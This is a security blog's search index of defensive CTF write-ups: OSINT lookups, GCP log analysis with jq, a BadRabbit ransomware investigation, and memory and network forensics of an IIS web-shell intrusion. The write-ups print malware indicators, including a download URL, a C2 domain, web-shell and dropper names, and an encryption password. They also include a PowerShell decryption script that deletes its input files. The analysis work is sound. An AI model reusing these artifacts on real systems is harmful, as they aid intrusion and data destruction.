2026","externalUrl":null,"permalink":"/tools/portainer/","section":"Tools","summary":"","title":"Portainer","type":"tools"},{"content":"","date":"24 September 2026","externalUrl":null,"permalink":"/tools/traefik/","section":"Tools","summary":"","title":"Traefik","type":"tools"},{"content":"","date":"21 September 2026","externalUrl":null,"permalink":"/tools/brave-search/","section":"Tools","summary":"","title":"Brave Search","type":"tools"},{"content":"","date":"21 September 2026","externalUrl":null,"permalink":"/tools/google-lens/","section":"Tools","summary":"","title":"Google Lens","type":"tools"},{"content":" Description # This challenge focuses on open-source intelligence (OSINT) and how publicly available information can be pieced together to answer investigative questions. The goal is to practice extracting useful facts from domain records, archived web pages, and image-based searches while staying within legitimate public data sources.\nCheck the challenge here.\nSolution # The investigation relies on three main sources: domain registration data, archived website snapshots, and a reverse image search.\nQ1: Who is the registrar for jameskainth.com?\nI checked the domain with the whois command and inspected the registration details:\nFlag: NameCheap\nQ2: What is the Zoom meeting ID of the British Prime Minister’s Cabinet Meeting?\nI found the article that leaked the meeting details on the public web and confirmed the Zoom ID from that report:\nThe Cabinet meeting Zoom leak article\nFlag: 539544323\nQ3: In 2019, UVM’s Ichthyology class had to name a fish for class. What was the most recently assigned fish name?\nI started with a Brave search for the class and found the course page that referenced the fish-naming assignment:\nThe first result pointed to the course website, but access to the live page was restricted.\nI used Wayback Machine to view the archived page and found a snapshot from September 2019 that included a link to the student fish names document.\nThe spreadsheet contained the fish names in order, and the most recent entry was the last one in the file.\nFlag: Saccopharyngiformes\nQ4: Can you identify the state from which this picture was taken?\nI uploaded the image to Google Lens and the reverse image search identified the location as a tourist attraction in Virginia.\nFlag: Virginia\n","date":"21 September 2026","externalUrl":null,"permalink":"/writeups/cyberdefenders/intel101/","section":"Writeups","summary":"Apply open-source intelligence (OSINT) techniques using Whois, Wayback Machine, and Google Lens to investigate digital footprints and extract specific information.","title":"Intel101","type":"writeups"},{"content":"","date":"21 September 2026","externalUrl":null,"permalink":"/topics/osint/","section":"Topics","summary":"","title":"OSINT","type":"topics"},{"content":"","date":"21 September 2026","externalUrl":null,"permalink":"/tools/wayback-machine/","section":"Tools","summary":"","title":"Wayback Machine","type":"tools"},{"content":"","date":"21 September 2026","externalUrl":null,"permalink":"/tools/whois/","section":"Tools","summary":"","title":"Whois","type":"tools"},{"content":"","date":"20 September 2026","externalUrl":null,"permalink":"/topics/cloud/","section":"Topics","summary":"","title":"Cloud","type":"topics"},{"content":" Description # A developer accidentally committed a Google Cloud identity’s key to a public repository. You’ve been tasked with investigating an attacker who used the compromised identity attached to the exposed key to carry out some nefarious activities.\nCheck the challenge here.\nSolution # We are given an archive containing a JSON file called gcp.json.\nTask 0: What Google Cloud identity is compromised?\nThe first two questions are easy to answer because the relevant information appears in the first few lines of the file.\nFlag: main-dev@cyberwox-labs.iam.gserviceaccount.com\nTask 1: What IP address is the identity authenticated from?\nFlag: 160.238.37.7\nTask 2: What country does the IP originate from?\nI used iplocation.net to find the location of the IP address from the previous task.\nFlag: South Korea\nTask 3: What is the name of the firewall rule the attacker attempted to create?\nI searched for the word firewall in the file and found this:\nWe can see that the attacker used the method v1.compute.firewalls.insert, and the compute.firewalls.create permission was granted. The name of the firewall rule is projects/cyberwox-labs/global/firewalls/default.\nFlag: default\nTask 4: What priority was the firewall rule?\nScrolling further down from the previous entry shows more details about the firewall rule, including its priority.\nFlag: 0\nTask 5: How many times did the attacker attempt to create GCE instances?\nTo count how many times the attacker attempted to create an instance, I used this command:\njq -r \u0026#39;.[] | select(.protoPayload.methodName == \u0026#34;v1.compute.instances.insert\u0026#34; and .protoPayload.status == null) | [ .timestamp, .protoPayload.authenticationInfo.principalEmail, .protoPayload.requestMetadata.callerIp, .protoPayload.methodName ] | @tsv\u0026#39; gcp.json This prints information about each request that called the v1.compute.instances.insert method. The entries with a null status are the initial requests, so they can be counted as separate creation attempts.\nThe output shows three requests:\n2023-06-30T07:27:27.050776Z main-dev@cyberwox-labs.iam.gserviceaccount.com 160.238.37.7 v1.compute.instances.insert 2023-06-30T07:28:05.769654Z main-dev@cyberwox-labs.iam.gserviceaccount.com 160.238.37.7 v1.compute.instances.insert 2023-06-30T07:30:41.239392Z main-dev@cyberwox-labs.iam.gserviceaccount.com 160.238.37.7 v1.compute.instances.insert There were three attempts, all originating from the same account and IP address.\nFlag: 3\nTask 6: What was the first region the attacker attempted to create the instances in?\nI used the following command to print the resource names from the instance creation attempts. These names include the zones where the attacker tried to create the instances:\njq -r \u0026#39;.[] | select(.protoPayload.methodName == \u0026#34;v1.compute.instances.insert\u0026#34; and .protoPayload.status == null) | [ .timestamp, .protoPayload.authorizationInfo[0].resourceAttributes.name ] | @tsv\u0026#39; gcp.json | sort # Results: 2023-06-30T07:27:27.050776Z projects/cyberwox-labs/zones/europe-west1-b/instances/crypto-instance 2023-06-30T07:28:05.769654Z projects/cyberwox-labs/zones/europe-west1-b/instances/crypto-instance 2023-06-30T07:30:41.239392Z projects/cyberwox-labs/zones/us-east1-b/instances/crypto-instance Flag: europe-west1-b\nTask 7: Were any of the instances created? (Yes/No)\nI used this command to print the status code and status message for each attempt:\njq -r \u0026#39;.[] | select(.protoPayload.methodName == \u0026#34;v1.compute.instances.insert\u0026#34; and .protoPayload.status != null) | [ .timestamp, .protoPayload.status.code, .protoPayload.status.message ] | @tsv\u0026#39; gcp.json The results show that all three attempts failed because the project had no available GPU quota:\n2023-06-30T07:27:36.256986Z 8 QUOTA_EXCEEDED 2023-06-30T07:28:12.847224Z 8 QUOTA_EXCEEDED 2023-06-30T07:30:49.443219Z 8 QUOTA_EXCEEDED Flag: No\n","date":"20 September 2026","externalUrl":null,"permalink":"/writeups/hackthebox/google_cloud_incident/","section":"Writeups","summary":"A developer accidentally committed a Google Cloud identity’s key to a public repository.","title":"Google_Cloud_Incident","type":"writeups"},{"content":"Hack The Box is one of my favorite CTF platforms. They provide plenty of resources, scenarios and challenges to grow Cybersecurity skills. They are pretty popular so I don\u0026rsquo;t think I they need a long introduction. (Website, My Profile)\n","date":"20 September 2026","externalUrl":null,"permalink":"/writeups/hackthebox/","section":"Writeups","summary":"Training ground for Cybersecurity professionals of all colors (Red, Blue or Purple).","title":"Hack The Box","type":"writeups"},{"content":"","date":"20 September 2026","externalUrl":null,"permalink":"/tools/jq/","section":"Tools","summary":"","title":"Jq","type":"tools"},{"content":" Description # A company employee was tricked into opening a malicious attachment disguised as a business email. The lure led to a ransomware deployment that encrypts files and corrupts the boot process. As the investigator, your goal is to reconstruct the infection chain, identify the malware family, and map the attacker’s behavior to key TTPs.\nCheck the challenge here.\nSolution # The challenge archive contains the malicious email message and encoded malware sample. The investigation starts with the phishing lure, moves into malware family identification and execution behavior, and then traces persistence, C2 traffic, and destructive impact.\nQ1: The phishing email used to deliver the malicious attachment showed several indicators of a potential social engineering attempt. What is the suspicious email address that sent the attachment?\nI pasted the email header into MxToolbox and checked the sender metadata. The suspicious source address was clearly exposed in the result:\nFlag: theceojamessmith@Drurnbo.com\nQ2: The ransomware was identified as part of a known malware family. What is the family name of the ransomware identified during the investigation?\nI extracted the base64-encoded attachment and converted it into a Windows executable:\ncat mal.base64 | base64 -d \u0026gt; mal.exe file mal.exe # Result: mal.exe: PE32 executable for MS Windows 5.01 (console), Intel i386, 5 sections I then scanned the binary in VirusTotal. The family name was visible in the file metadata and related intel:\nFlag: BadRabbit\nQ3: Upon execution, the ransomware dropped a file onto the compromised system to initiate its payload. What is the name of the first file dropped by the ransomware?\nThe execution chain is described in the Checkpoint investigation. The dropper file that initiates the attack is explicitly named there.\nFlag: infpub.dat\nQ4: Inside the dropped file, the malware contained hardcoded artifacts, including usernames and passwords. What is the only person’s username found within the dropped file?\nThe investigation from above reveals the usernames used by the dropper.\nFlag: alex\nQ5: After execution, the ransomware communicated with a C2 server. What MITRE ATT\u0026amp;CK sub-technique describes the ransomware’s use of web protocols for sending and receiving data?\nVirusTotal’s ATT\u0026amp;CK section under the Command and Control tactic showed the relevant Application Layer Protocol technique. I also verified it on the official MITRE ATT\u0026amp;CK site: T1071.001.\nFlag: T1071.001\nQ6: Persistence mechanisms are a hallmark of sophisticated ransomware. What is the MITRE ATT\u0026amp;CK sub-technique ID associated with the ransomware’s persistence technique?\nUsing the same ATT\u0026amp;CK mapping in VirusTotal, the persistence behavior corresponded to a scheduled task technique.\nFlag: T1053.005\nQ7: As part of its infection chain, the ransomware created specific tasks to ensure its continued operation. What are the names of the tasks created by the ransomware during execution?\nThe research into the attack chain (from Question 3) identifies the task names created by the ransomware to maintain persistence.\nFlag: rhaegal, drogon\nQ8: The malicious binary dispci.exe displayed a suspicious message upon execution, urging users to disable their defenses. What suspicious message was displayed in the console when executing this binary?\nI looked up the malware’s execution behavior and found a screenshot from a Fortinet article showing the exact message presented by dispci.exe.\nFlag: Disable your anti-virus and anti-malware programs\nQ9: To modify the Master Boot Record (MBR) and encrypt the victim’s hard drive, the ransomware utilized a specific driver. What is the name of the driver used to encrypt the hard drive and modify the MBR?\nThe article from Question 3 reveals the driver used for the MBR modification and disk encryption.\nFlag: DiskCryptor\nQ10: Attribution is key to understanding the threat landscape. What is the name of the threat actor responsible for this ransomware campaign?\nThe campaign was later associated with a known threat actor in public reporting and ransomware analysis blogs. (link)\nFlag: Sandworm\nQ11: The ransomware rendered the system unbootable by corrupting critical system components. What is the MITRE ATT\u0026amp;CK ID for the technique used to corrupt the system firmware and prevent booting?\nThe official BadRabbit ATT\u0026amp;CK page lists the destructive firmware corruption tactic.\nFlag: T1495\nReferences # Check Point Research: Bad Rabbit Full Research Investigation Fortinet Threat Research: Tracking the Bad Rabbit MITRE ATT\u0026amp;CK: Bad Rabbit Varonis: Bad Rabbit Ransomware ","date":"20 September 2026","externalUrl":null,"permalink":"/writeups/cyberdefenders/brabbit/","section":"Writeups","summary":"Reconstruct a Bad Rabbit ransomware attack chain by analyzing phishing, persistence, and MBR modification using dynamic analysis and MITRE ATT\u0026CK.","title":"Brabbit","type":"writeups"},{"content":"","date":"20 September 2026","externalUrl":null,"permalink":"/tools/mxtoolbox/","section":"Tools","summary":"","title":"MxToolBox","type":"tools"},{"content":"","date":"13 September 2026","externalUrl":null,"permalink":"/tools/cyberchef/","section":"Tools","summary":"","title":"CyberChef","type":"tools"},{"content":"","date":"13 September 2026","externalUrl":null,"permalink":"/topics/digital-forensics/","section":"Topics","summary":"","title":"Digital Forensics","type":"topics"},{"content":"","date":"13 September 2026","externalUrl":null,"permalink":"/tools/ftk-imager/","section":"Tools","summary":"","title":"FTK Imager","type":"tools"},{"content":" Description # The IMF is hit by a cyber attack compromising sensitive data. Luther sends Ethan to retrieve crucial information from a compromised server. Despite warnings, Ethan downloads the intel, which later becomes unreadable. To recover it, he creates a forensic image and asks Benji for help in decoding the files.\nCheck the challenge here.\nGiven references:\nMicrosoft HxStore.hxd (email) Research Solution # The challenge archive contains ethanPC.ad1. AD1 is AccessData\u0026rsquo;s forensic image format. It is a logical image, so it contains selected files and folders from the original system rather than a complete physical disk image. FTK Imager can open it and preserve the directory structure and file metadata while we examine the evidence.\nQ1: What is the MD5 hash of the potentially malicious EXE file the user downloaded?\nI opened the image in FTK Imager, navigated to the user\u0026rsquo;s Downloads folder, and found IMF-Info.pdf.exe. I right-clicked the file and selected Export File Hash List.\nFlag: 336a7cf476ebc7548c93507339196abb\nQ2: What is the URL from which the file was downloaded?\nWindows stores download information in an alternate data stream called Zone.Identifier. In FTK Imager, I expanded the executable in the evidence tree and opened its Zone.Identifier stream. The HostUrl entry contains the URL used to download the file.\nFlag: http://192.168.16.128:8000/IMF-Info.pdf.exe\nQ3: What application did the user use to download this file?\nWhile exploring AppData, I found data for both Chrome and Edge. Browser history is stored in a SQLite database named History, usually under User Data\\Default\\History. I opened the databases with SQLite Viewer Web App and checked the download records. The matching record was in Edge\u0026rsquo;s database, which identifies the application used to download the executable.\nFlag: Microsoft Edge\nQ4: By examining Windows Mail artifacts, we found an email address mentioning three IP addresses of servers that are at risk or compromised. What are the IP addresses?\nFollowing the reference above, I found the Windows Mail database at AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\LocalState\\HxStore.hxd. The file contains serialized mail records. The @body marker identifies the beginning of an email body, so it is a useful anchor when searching the raw file.\nI extracted printable strings and displayed the lines following each @body marker:\nstrings -a -n 5 HxStore.hxd | grep -A 200 \u0026#39;@body\u0026#39; The relevant part of the output contains the three server addresses:\n\u0026lt;SNIP\u0026gt; Pve id VseverU bpromis . You ca @nito status thr c hubs:o 0PraQ PClusth IP: 145.67.29.88 (at risk ?on)Z London O B Hub 212.33.10.112 (partial breach detected Berlin Vault 192.168.16.128 @progG Please \u0026lt;b\u0026gt;DO NOT download or execute any Flag: 145.67.29.88, 212.33.10.112, 192.168.16.128\nQ5: By examining the malicious executable, we found that it uses an obfuscated PowerShell script to decrypt specific files. What predefined password does the script use for encryption?\nI extracted the printable strings from the executable and searched them for powershell in VSCode:\nstrings -a -n 5 IMF-Info.pdf.exe \u0026gt; strings.txt The script contains three obfuscated strings. The value assigned to $FHG7xpKlVqaDNgu1c2Utw is the reversed Base64 representation of the value assigned to $wy7qIGPnm36HpvjrL2TMUaRbz. Reversing the string first and then decoding it from Base64 reveals the predefined password.\nI used CyberChef with the Reverse operation followed by From Base64 to decode it.\nFlag: Imf!nfo#2025Sec$\nQ6: After identifying how the script works, decrypt the files and submit the secret string.\nAfter decoding the script, I adapted it to decrypt both .enc files:\n$password = \u0026#34;Imf!nfo#2025Sec$\u0026#34; $salt = [Byte[]](0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08) $iterations = 10000 $keySize = 32 $ivSize = 16 $deriveBytes = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($password, $salt, $iterations) $key = $deriveBytes.GetBytes($keySize) $iv = $deriveBytes.GetBytes($ivSize) $inputFiles = @( \u0026#34;C:\\Users\\docker\\Desktop\\CTF\\silent_breach\\IMF-Mission.enc\u0026#34;, \u0026#34;C:\\Users\\docker\\Desktop\\CTF\\silent_breach\\IMF-Secret.enc\u0026#34; ) foreach ($inputFile in $inputFiles) { $outputFile = $inputFile -replace \u0026#39;\\.enc$\u0026#39;, \u0026#39;.pdf\u0026#39; $aes = [System.Security.Cryptography.Aes]::Create() $aes.Key = $key $aes.IV = $iv $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $decryptor = $aes.CreateDecryptor() $encBytes = [System.IO.File]::ReadAllBytes($inputFile) $outStream = New-Object System.IO.FileStream($outputFile, [System.IO.FileMode]::Create) $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($outStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write) $cryptoStream.Write($encBytes, 0, $encBytes.Length) $cryptoStream.FlushFinalBlock() $cryptoStream.Close() $outStream.Close() Remove-Item $inputFile -Force } The script derives a 32-byte AES key and a 16-byte IV from the password and salt using PBKDF2 with 10,000 iterations. It then decrypts the files with AES-CBC and PKCS7 padding, writing the results as PDFs. The flag is in IMF-Mission.pdf.\nFlag: CyberDefenders{N3v3r_eX3cuTe_F!l3$_dOwnL0ded_fr0m_M@lic10u5_$erV3r}\n","date":"13 September 2026","externalUrl":null,"permalink":"/writeups/cyberdefenders/silent_breach/","section":"Writeups","summary":"Analyze a forensic image to extract communication artifacts, identify malware behavior, and decrypt encrypted files using FTK Imager, string analysis, and PowerShell scripting.","title":"Silent Breach","type":"writeups"},{"content":" Description # TechNova Systems’ SOC has detected suspicious outbound traffic from a public-facing IIS server in its cloud platform—activity suggestive of a web-shell drop and covert connections to an unknown host.\nAs the forensic examiner, you have three critical artefacts in hand: a PCAP capturing the initial traffic, a full memory image of the server, and a malware sample recovered from disk. Reconstruct the intrusion and all of the attacker’s activities so TechNova can contain the breach and strengthen its defenses.\nCheck the challenge here.\nSolution # We have three files in this scenario: capture.pcapng, memdump.mem, and updatenow.exe, each dedicated to one section of the challenge.\nThe first section is all about the network analysis of the incident (capture.pcapng). I opened the file in Wireshark and took a broad look at it (just to get a feel for the packets and the overall size of the file).\nQ1: After flooding the IIS host with rapid-fire probes, the attacker reveals their origin. Which IP address generated this reconnaissance traffic?\nAfter reading the question, we have a clue that we need to look for a probing pattern, and by simply scrolling through Wireshark we can see some unusual network behavior:\nWe can see that random ports are probed with TCP SYN packets so the attacker can check which ports are open. This means that the source IP of these packets is the attacker’s IP address.\nFlag: 10.0.2.4\nQ2: The attacker is carrying out targeted enumeration against the HTTP service on the IIS host. Based on the HTTP request headers, which tool is being used?\nWe can filter for http traffic in Wireshark and select Follow \u0026gt; HTTP Stream, which allows us to view the raw HTTP data and inspect the User-Agent header field: Flag: nmap\nQ3: While reviewing the SMB traffic, you observe two consecutive Tree Connect requests that expose the first shares the intruder probes on the IIS host. Which two full UNC paths are accessed?\nThe question literally tells us to review the SMB traffic. Filter for smb2, and you will find the shares listed in the packets: Flag: \\\\10.0.2.15\\Documents, \\\\10.0.2.15\\IPC$\nQ4: Inside the share, the attacker plants a web-accessible payload that will grant remote code execution. What is the filename of the malicious file they uploaded?\nLooking deeper into the smb2 packets, we can find the uploaded file: Flag: shell.aspx\nQ5: The newly planted shell calls back to the attacker over an uncommon but firewall-friendly port. Which listening port did the attacker use for the reverse shell?\nSo the attacker uploaded a web shell via SMB, and by reading the prompt and following that script, the attacker opens a reverse shell. I looked back through the HTTP traffic until I found where the web shell was requested (something like GET \u0026lt;web shell\u0026gt; HTTP/1.1). The reverse shell connection must begin after the malicious file was requested: Flag: 4443\nNow let’s move on to the memory analysis section.\nQ6: Your memory snapshot captures the system’s kernel in situ, providing vital context for the breach. What is the kernel base address in the dump?\nWe can use volatility3 to analyze the memory dump. We can get the kernel base address by using the windows.info plugin: Flag: 0xf80079213000\nQ7: A trusted service launches an unfamiliar executable residing outside the usual IIS stack, signaling a persistence implant. What is the final full on-disk path of that executable?\nThe word persistence is really important. In Windows, we can place binaries that we want to execute automatically after boot into the Startup folder, which is also a place where we can find persistent malware.\nWe can check whether any such binaries are present with the following command:\nvol -f memdump.mem windows.pstree | grep Startup Flag: C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\updatenow.exe\nQ8: The reverse shell’s outbound traffic is handled by a built-in Windows process that also spawns the implanted executable. What is the name of this process, and what PID does it run under?\nFrom the output of the previous question, we could see that the parent PID of the binary is 4332; if we do the same search, we find the name of the service:\nvol -f memdump.mem windows.pstree | grep 4332 Flag: w3wp.exe, 4332\nQ9: Static inspection reveals the binary has been packed to hinder analysis. Which packer was used to obfuscate it?\nI opened the binary in ghidra and found this unusual layout: After asking an LLM, I found what UPX is:\nUPX = Ultimate Packer for eXecutables (UPX) is an open-source, cross-platform executable packer designed to compress binaries. It compresses the binary sections (.text, .data, \u0026hellip;) into UPX0, UPX1, \u0026hellip;\nFlag: upx\nQ10: Threat-intel analysis shows the malware beaconing to its command-and-control host. Which fully qualified domain name (FQDN) does it contact?\nI uploaded the file to VirusTotal and found a suspicious domain that the binary tries to contact: Flag: cp8nl.hyperhost.ua\nQ11: Open-source intel associates that hash with a well-known commodity RAT. To which malware family does the sample belong?\nUsually the Community section in VirusTotal shows OSINT and threat intelligence information about a malicious file, and that is where I found my answer.\nFlag: AgentTesla\n","date":"11 September 2026","externalUrl":null,"permalink":"/writeups/cyberdefenders/lockdown/","section":"Writeups","summary":"Reconstruct a multi-stage intrusion by analyzing network traffic, memory, and malware artifacts using Wireshark, Volatility, and VirusTotal, mapping findings to MITRE ATT\u0026CK.","title":"Lockdown","type":"writeups"},{"content":"","date":"11 September 2026","externalUrl":null,"permalink":"/topics/memory-analysis/","section":"Topics","summary":"","title":"Memory Analysis","type":"topics"},{"content":"","date":"11 September 2026","externalUrl":null,"permalink":"/tools/volatility3/","section":"Tools","summary":"","title":"Volatility3","type":"tools"},{"content":" Who am I? # I am currently a student in the CYBERUS Erasmus Mundus Joint Master\u0026rsquo;s program in Cybersecurity and hold a Bachelor\u0026rsquo;s degree in Computer Science from the University of Bucharest. I\u0026rsquo;m trying to find my way in the tech industry and aiming to become a Cloud Security Engineer.\nOutside academia, I\u0026rsquo;ve gained practical technical experience through personal projects, internships, and competitions. Those experiences allowed me to self-host this blog and showcase my future work.\nI\u0026rsquo;m friendly, so if you\u0026rsquo;d like to get in touch, feel free to reach out!\nWhat you\u0026rsquo;ll find here # I created this website to document my progress career-wise. Expect a mix of personal experiences, research, and project write-ups. I hope you find it useful!\nAI Usage I use AI to learn, to write better, and to maintain this blog, some of the Writeups are enhanced with AI, but all the Posts are written by me. I want this blog to be for humans.\n","externalUrl":null,"permalink":"/about/","section":"Vlad Șteopoaie","summary":"Who am I? # I am currently a student in the CYBERUS Erasmus Mundus Joint Master’s program in Cybersecurity and hold a Bachelor’s degree in Computer Science from the University of Bucharest. I’m trying to find my way in the tech industry and aiming to become a Cloud Security Engineer.\nOutside academia, I’ve gained practical technical experience through personal projects, internships, and competitions. Those experiences allowed me to self-host this blog and showcase my future work.\n","title":"About","type":"page"},{"content":"","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"}]